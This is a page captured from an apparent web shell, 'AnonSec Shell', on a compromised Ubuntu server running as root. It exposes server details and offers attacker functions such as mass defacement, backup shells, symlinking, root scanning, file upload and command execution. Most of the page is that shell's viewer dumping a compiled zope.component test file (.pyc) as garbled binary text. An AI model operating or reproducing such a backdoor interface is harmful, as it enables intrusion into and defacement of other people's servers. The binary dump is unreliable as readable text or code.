AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/component/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/zope/component/tests/__pycache__/test_hooks.cpython-310.pyc
o

,�W/�@s�dZddlZGdd�dej�ZGdd�dej�ZGdd�dej�ZGd	d
�d
ej�ZGdd�dej�ZGd
d�dej�ZGdd�dej�Z	Gdd�dej�Z
Gdd�dej�Ze�Z
Gdd�de�ZGdd�de�Zdd�ZdS)zTests for z.c.hooks
�Nc@�$eZdZdd�Zdd�Zdd�ZdS)�Test_read_propertycC�ddlm}|S)Nr)�
read_property)�zope.component.hooksr)�selfr�r�A/usr/lib/python3/dist-packages/zope/component/tests/test_hooks.py�_getTargetClass�z"Test_read_property._getTargetClasscsRG�fdd�dt�}|�}��|jd�d|_��|jd�|`��|jd�dS)Nc�eZdZ���dd��ZdS)z1Test_read_property.test_via_instance.<locals>.FoocS�dS�N�BARr�rrrr	�bar�z5Test_read_property.test_via_instance.<locals>.Foo.barN��__name__�
__module__�__qualname__r
rrrrr	�Foo�rr�BAZ)�object�assertEqualr)rr�foorrr	�test_via_instancesz$Test_read_property.test_via_instancecsFG�fdd�dt�}|j}��t|�������|�t��d�dS)Ncr)z.Test_read_property.test_via_class.<locals>.FoocSr
rrrrrr	r'rz2Test_read_property.test_via_class.<locals>.Foo.barNrrrrr	r&rrr)rr�
assertTrue�
isinstancer
r�func)rrrrrr	�test_via_class%sz!Test_read_property.test_via_classN)rrrr
rr!rrrr	rsrc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�
SiteInfoTestscCr)Nr)�SiteInfo)rr#)rr#rrr	r
1rzSiteInfoTests._getTargetClasscCs
|���S�N)r
rrrr	�_makeOne5�
zSiteInfoTests._makeOnecCs<ddlm}|�}|��}|�|jd�|�|j|u�dS)Nr��getGlobalSiteManager)�zope.component.globalregistryr(r%r�siter�sm)rr(�gsm�sirrr	�test_initial8s
zSiteInfoTests.test_initialcs�t��G�fdd�dt��G�fdd�dt�}|��}|�|_|�d|jv�|�|j�u�|�d|jv�|`|�d|jv�dS)NcseZdZ�ZdS)z2SiteInfoTests.test_adapter_hook.<locals>._RegistryN)rrr�adapter_hookr)�_hookrr	�	_RegistryAsr1cseZdZ��ZdS)z5SiteInfoTests.test_adapter_hook.<locals>._SiteManagerN)rrr�adaptersr)r1rr	�_SiteManagerCs
r3r/)rr%r+�assertFalse�__dict__rr/)rr3r-r)r1r0r	�test_adapter_hook?szSiteInfoTests.test_adapter_hookN)rrrr
r%r.r6rrrr	r"/s
r"c@r)�Test_setSitecC�ddlm}||�S)Nr)�setSite)rr9)rr*r9rrr	�_callFUTP�zTest_setSite._callFUTcCs�ddlm}ddlm}|�}t�}t�}t�}t�}||_||_||_t	||d��
|�
d�Wd�n1s:wY|�|j|u�|�|jdu�|�d|j
v�dS)Nr��hooksr'��siteinfor/)�zope.componentr=r)r(r�_DummySiteInfor+r*�adapterhook�_Monkeyr:rr4r5)rr=r(r,�_SM2�_SITE�_HOOKr?rrr	�test_w_NoneTs �zTest_setSite.test_w_Nonecs�ddlm}t��G�fdd�dt�}t�}|�}t||d��
|�|�Wd�n1s/wY|�|j�u�|�|j|u�|�	d|j
v�dS)Nrr<c�eZdZ�fdd�ZdS)z'Test_setSite.test_w_site.<locals>._Sitec��Sr$rr�rDrr	�getSiteManageri�z6Test_setSite.test_w_site.<locals>._Site.getSiteManagerN�rrrrKrrJrr	�_Siteh�rNr>r/)r@r=rrArCr:rr+r*r4r5)rr=rNr?�_siterrJr	�test_w_sitees�zTest_setSite.test_w_siteN�rrrr:rGrQrrrr	r7Nsr7c@r)�Test_getSitecC�ddlm}|�S)Nr)�getSite)rrU)rrUrrr	r:v�zTest_getSite._callFUTcCshddlm}ddlm}|�}t�}t||d��|�|��du�Wd�dS1s-wYdS�Nrr<r'r>)r@r=r)r(rArCrr:)rr=r(r,r?rrr	rGzs"�zTest_getSite.test_w_NonecCs�ddlm}ddlm}|�}t�}t�}t�}||_||_t||d��|�	|�
�|u�Wd�dS1s9wYdSrW)r@r=r)r(rrAr+r*rCrr:)rr=r(r,rDrEr?rrr	rQ�s"�zTest_getSite.test_w_siteNrRrrrr	rStsrSc@�eZdZdd�Zdd�ZdS)�	Test_sitecCr8)Nr)r*)rr*)r�new_siter*rrr	r:�r;zTest_site._callFUTc	sddlm}ddlm}|�}t��G�fdd�dt�}|�}t�}|�|jdu�|�|jt	u�t
||d��>|�|��|�|j|u�|�|j�u�Wd�n1sYwY|�|jdu�|�|j|u�Wd�dS1sywYdS)Nrr<r'crH)z Test_site.test_it.<locals>._SitecrIr$rrrJrr	rK�rLz/Test_site.test_it.<locals>._Site.getSiteManagerNrMrrJrr	rN�rOrNr>)r@r=r)r(rrArr*r+�_SMrCr:)rr=r(r,rNrPr?rrJr	�test_it�s"�"�zTest_site.test_itN�rrrr:r\rrrr	rY��rYc@s.eZdZd
dd�Zdd�Zdd�Zdd	�ZdS)�Test_getSiteManagerNcCr8)Nr)rK)rrK)r�contextrKrrr	r:�r;zTest_getSiteManager._callFUTcCstddlm}ddlm}|�}t�}t�}||_t||d��|�|�	�|u�Wd�dS1s3wYdSrW�
r@r=r)r(rrAr+rCrr:�rr=r(r,rDr?rrr	�test_default�s"�z Test_getSiteManager.test_defaultcCsxddlm}ddlm}|�}t�}t�}||_t||d��|�|�	t��|u�Wd�dS1s5wYdSrWrarbrrr	�+test_w_explicit_context_no_IComponentLookup�s"�z?Test_getSiteManager.test_w_explicit_context_no_IComponentLookupcCs�ddlm}ddlm}ddlm}ddlm}Gdd�dt�}|�}|�	||f|d�t�}t
�}||_t�}	t||d	��
|�
|	�}
Wd�n1sNwY|�t|
|��|�|
j|	u�dS)
Nr��	Interfacer<r')�IComponentLookupc@seZdZdd�ZdS)zOTest_getSiteManager.test_w_explicit_context_w_IComponentLookup.<locals>._LookupcS�
||_dSr$)r`)rr`rrr	�__init__�r&zXTest_getSiteManager.test_w_explicit_context_w_IComponentLookup.<locals>._Lookup.__init__N)rrrrirrrr	�_Lookup�srj�r>)�zope.interfacerfr@r=r)r(�zope.component.interfacesrgr�registerAdapterrAr+rCr:rrr`)rrfr=r(rgrjr,rDr?r`r+rrr	�*test_w_explicit_context_w_IComponentLookup�s �z>Test_getSiteManager.test_w_explicit_context_w_IComponentLookupr$)rrrr:rcrdrorrrr	r_�s



r_c@s&eZdZd	dd�Zdd�Zdd�ZdS)
�Test_adapter_hookrkNcCsddlm}|||||�S)Nr)r/)rr/)r�	interfacer�name�defaultr/rrr	r:�szTest_adapter_hook._callFUTcs�ddlm}ddlm}ddlm}Gdd�d|�}|�}t��t�}t�}g���fdd�}t�}	||	_t	||	d	��|�
||d
|�}
Wd�n1sNwY|�|
�u�|��||d
|fg�dS)Nrrer<r'c@�eZdZdS)z,Test_adapter_hook.test_success.<locals>.IFooN�rrrrrrr	�IFoo��rvcs��||||f��Sr$��append�rqrrrrs��_ADAPTER�_calledrr	�
_adapter_hook�sz5Test_adapter_hook.test_success.<locals>._adapter_hookr>r)
rlrfr@r=r)r(rrAr/rCr:rr�rrfr=r(rvr,�_DEFAULT�_CONTEXTr~r?�adapterrr{r	�test_success�s"�zTest_adapter_hook.test_successcs�ddlm}ddlm}ddlm}ddlm�Gdd�d|�}|�}t�}t�}g���fdd	�}t	�}	||	_
t||	d
��|�||d|�}
Wd�n1sQwY|�
|
|u�|��||d|fg�dS)Nrrer<r')�ComponentLookupErrorc@rt)z0Test_adapter_hook.test_hook_raises.<locals>.IFooNrurrrr	rv�rwrvcs��||||f��d��)N�testingrxrz�r�r}rr	r~�sz9Test_adapter_hook.test_hook_raises.<locals>._adapter_hookr>r)rlrfr@r=r)r(rmr�rrAr/rCr:rrrrr�r	�test_hook_raises�s"�z"Test_adapter_hook.test_hook_raises)rkN)rrrr:r�r�rrrr	rp�s
rpc@rX)�
Test_setHookscCrT)Nr)�setHooks)rr�)rr�rrr	r:
rVzTest_setHooks._callFUTcCs�ddl}ddlm}Gdd�dt�}|�}|�}t|jj||d��|��Wd�n1s0wY|�|j	|j
�|�|j	|j�dS)Nrr<c@rX)z$Test_setHooks.test_it.<locals>._HookcSs
d|_dSr$��_hookedrrrr	rir&z-Test_setHooks.test_it.<locals>._Hook.__init__cSrhr$r�)r�valuerrr	�sethookr&z,Test_setHooks.test_it.<locals>._Hook.sethookN)rrrrir�rrrr	�_Hook�r��r/rK)�zope.component._apir@r=rrC�	component�_apir:rr�r/rK�r�zoper=r�r/rKrrr	r\s�
�zTest_setHooks.test_itNr]rrrr	r�r^r�c@rX)�Test_resetHookscCrT)Nr)�
resetHooks)rr�)rr�rrr	r:"rVzTest_resetHooks._callFUTcCs�ddl}ddlm}Gdd�dt�}|�}|�}t|jj||d��t|jd�|�	d|jj
v�|��Wd�n1s?wY|�	|j�|�	|j�|�
d|jj
v�dS)Nrr<c@rX)z&Test_resetHooks.test_it.<locals>._HookcS�
d|_dS)NF��_resetrrrr	ri*r&z/Test_resetHooks.test_it.<locals>._Hook.__init__cSr�)NTr�rrrr	�reset,r&z,Test_resetHooks.test_it.<locals>._Hook.resetN)rrrrir�rrrr	r�)r�r�r�r/)r�r@r=rrCr�r��getattrr?rr5r:r�r4r�rrr	r\&s �
�
zTest_resetHooks.test_itNr]rrrr	r� r^r�c@seZdZeZdZdS)rAN)rrrr[r+r*rrrr	rAAsrAc@r)rCcs@�|_t�fdd�|D��|_|��D]
\}}t�||�qdS)Ncsg|]	}|t�|�f�qSr)r�)�.0�key��modulerr	�
<listcomp>Isz$_Monkey.__init__.<locals>.<listcomp>)r��dict�
to_restore�items�setattr)rr��kwr�r�rr�r	riGs
�z_Monkey.__init__cCs|Sr$rrrrr	�	__enter__MrLz_Monkey.__enter__cCs&|j��D]\}}t|j||�qdSr$)r�r�r�r�)r�exc_type�exc_val�exc_tbr�r�rrr	�__exit__Ps�z_Monkey.__exit__N)rrrrir�r�rrrr	rCEsrCc
CsRt�t�t�t�t�t�t�t�t�t�t�t�t�t�t	�t�t
�t�t�f	�Sr$)�unittest�	TestSuite�	makeSuiterr"r7rSrYr_rpr�r�rrrr	�
test_suiteUs�r�)�__doc__r��TestCaserr"r7rSrYr_rpr�r�rr[rArCr�rrrr	�<module>s
&.1 

Anon7 - 2022
AnonSec Team